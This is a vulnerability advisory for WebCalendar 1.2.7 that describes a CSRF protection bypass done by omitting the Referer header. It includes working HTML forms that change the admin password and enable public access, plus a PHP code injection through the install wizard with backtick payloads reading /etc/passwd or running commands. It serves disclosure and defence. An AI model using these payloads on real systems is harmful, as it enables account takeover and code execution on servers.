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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
[+] Credits: John Page aka HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/WEBCALENDAR-V1.2.7-CSRF-PROTECTION-BYPASS.txt

[+] ISR: ApparitionSec



Vendor:
==========================
www.k5n.us/webcalendar.php



Product:
==================
WebCalendar v1.2.7

WebCalendar is a PHP-based calendar application that can be configured as a
single-user calendar, a multi-user calendar for groups of users, or as an
event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2,
Interbase, MS SQL Server, or ODBC is required.

WebCalendar can be setup in a variety of ways, such as...

A schedule management system for a single person
A schedule management system for a group of people, allowing one or more
assistants to manage the calendar of another user
An events schedule that anyone can view, allowing visitors to submit new
events
A calendar server that can be viewed with iCalendar-compliant calendar
applications like Mozilla Sunbird, Apple iCal or GNOME Evolution or
RSS-enabled
applications like Firefox, Thunderbird, RSSOwl, FeedDemon, or BlogExpress.




Vulnerability Type:
======================
CSRF PROTECTION BYPASS



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

WebCalendar attempts to uses the HTTP Referer to check that requests are
originating from same server as we see below.

From WebCalendar "include/functions.php" file on line 6117:

////////////////////////////////////////////////////////////

function require_valide_referring_url ()
{

 global $SERVER_URL;


if ( empty( $_SERVER['HTTP_REFERER'] ) ) {

   // Missing the REFERER value

 //die_miserable_death ( translate ( 'Invalid referring URL' ) );

 // Unfortunately, some version of MSIE do not send this info.

  return true;
  }

if ( ! preg_match ( "@$SERVER_URL@i", $_SERVER['HTTP_REFERER'] ) ) {

  // Gotcha.  URL of referring page is not the same as our server.

// This can be an instance of XSRF.

// (This may also happen when more than address is used for your server.

// However, you're not supposed to do that with this version of

// WebCalendar anyhow...)
    die_miserable_death ( translate ( 'Invalid referring URL' ) );

 }

}

/////////////////////////////////////////////////////////////////////////////////////////

However, this can be easily defeated by just not sending a referer. HTML 5
includes a handy tag <meta name="referrer" content="none"> to omit the
referer
when making an HTTP request, currently supported in Chrome, Safari,
MobileSafari and other WebKit-based browsers. Using this meta tag we send
no referrer
and the vulnerable application will then happily process our CSRF requests.



Exploit code(s):
===============

1) CSRF Protection Bypass to change Admin password POC. Note: Name of the
victim user is required for success.


<meta name="referrer" content="none">

<form id="CSRF" action="
http://localhost/WebCalendar-1.2.7/edit_user_handler.php"  method="post">
<input type="hidden" name="formtype" value="setpassword" />
<input type="hidden" name="user" value="admin" />
<input name="upassword1" id="newpass1" type="password" value="1234567"  />
<input name="upassword2" id="newpass2" type="password"  value="1234567" />
</form>


2) CSRF Protection Bypass modify access controls under "System Settings" /
"Allow public access"

<meta name="referrer" content="none">

<form id="CSRF_ACCESS_CTRL" action="
http://localhost/WebCalendar-1.2.7/admin.php" method="post"
name="prefform"><br />
<input type="hidden" name="currenttab" id="currenttab" value="settings" />
<input type="submit" value="Save" name="" />
<input type="hidden" name="admin_PUBLIC_ACCESS" value="Y"  />
<script>document.getElementById('CSRF_ACCESS_CTRL').submit()</script>
</form>


#######################################################

Vulnerability Type:
======================
PHP Code Injection



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Since WebCalendars install script is not removed after installation as
there is no "automatic" removal of it, low privileged users can inject
arbitrary
PHP code for the "Database Cache" directory value as no input validation
exists for this when a user installs the application using the WebCalendar
walk
thru wizard.

If WebCalendars installation script is available as part of a default
image, often as a convenience by some hosting providers, this can be used
to gain
code execution on the target system. The only item that is required is the
user must have privileges to authenticate to the MySQL Database and to run
the
install script. So, users who have install wizard access for the
WebCalendar application will now have ability to launch arbitrary system
commands on the
affected host.

One problem we must overcome is WebCalendar filters quotes " so we cannot
use code like <?php echo "/bin/cat /etc/passwd"; ?> However, we can defeat
this
obstacle using the all to forgotten backtick `CMD` operator!.

e.g.

*/?><?php echo `/bin/cat /etc/passwd`; ?>

This results in "settings.php" being injected like...

<?php
/* updated via install/index.php on Wed, 15 Jun 2016 09:44:34 -0400
install_password: e99a18c428cb38d5f260853678922e03
db_type: mysql
db_host: localhost
db_database: intranet
db_login: admin
db_password: abc123
db_persistent: false
db_cachedir: */?><?php echo `/bin/cat /etc/passwd`; ?>
readonly: false
user_inc: user.php
use_http_auth: false
single_user: false
# end settings.php */
?>



Exploitation steps(s):
=====================

1) Login to the WebCalendar Installation Wizard.

2) When you get to WebCalendar Installation Wizard Step 2 of the install
script.
http://localhost/WebCalendar-1.2.7/WebCalendar-1.2.7/install/index.php?action=switch&page=2

3) Click "Test Settings" button to ensure connection to the Database.
4) Enter below PHP code for the "Database Cache Directory:" input fields
value to pop calculator for POC (Windows).

*/?><?php exec(`calc.exe`); ?>

5) Click "Next" button
6) Click "Next" button
7) Click "Save settings" button

BOOOOOOOM! "settings.php" gets overwritten and injected with our PHP code.

If you happen to get following error when clicking "Test Settings" button,
"Failure Reason: Database Cache Directory does not exist", just click back
button then forward or just "Test settings" button again to try get past
the error.


Disclosure Timeline:
===============================
Vendor Notification:  No replies
July 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
6.8 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX